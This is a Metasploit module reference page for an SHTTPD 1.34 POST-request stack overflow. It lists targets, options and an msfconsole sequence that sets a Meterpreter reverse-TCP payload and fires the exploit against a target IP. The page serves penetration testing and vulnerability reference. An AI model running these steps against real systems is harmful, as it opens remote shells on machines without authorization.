SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32) | Metasploit Exploit Database (DB)

SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)

This module exploits a stack buffer overflow in SHTTPD <= 1.34. The vulnerability is caused due to a boundary error within the handling of POST requests. Based on an original exploit by skOd but using a different method found by hdm.

Search Other Modules


Exploit Rank

  • Average

Exploit Authors

  • LMH < lmh [at] info-pull.com >
  • hdm < hdm [at] metasploit.com >
  • skOd < >

Vulnerability References


Exploit Targets

  • 0 - Windows NT English SP5-SP6
  • 1 - Windows 2000 Spanish SP4
  • 2 - Windows 2000 French SP4
  • 3 - Windows 2000 English SP0-SP4
  • 4 - Windows 2000 French SP0-SP4
  • 5 - Windows 2003 Server English SP0-SP1
  • 6 - Windows XP German SP2
  • 7 - Windows XP German SP1
  • 8 - Windows XP English SP2
  • 9 - Windows XP English SP0-SP1

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/http/shttpd_post
msf exploit(shttpd_post) > show payloads
msf exploit(shttpd_post) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(shttpd_post) > set LHOST [MY IP ADDRESS]
msf exploit(shttpd_post) > set RHOST [TARGET IP]
msf exploit(shttpd_post) > show targets
msf exploit(shttpd_post) > set TARGET [TARGET ID]
msf exploit(shttpd_post) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 80)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)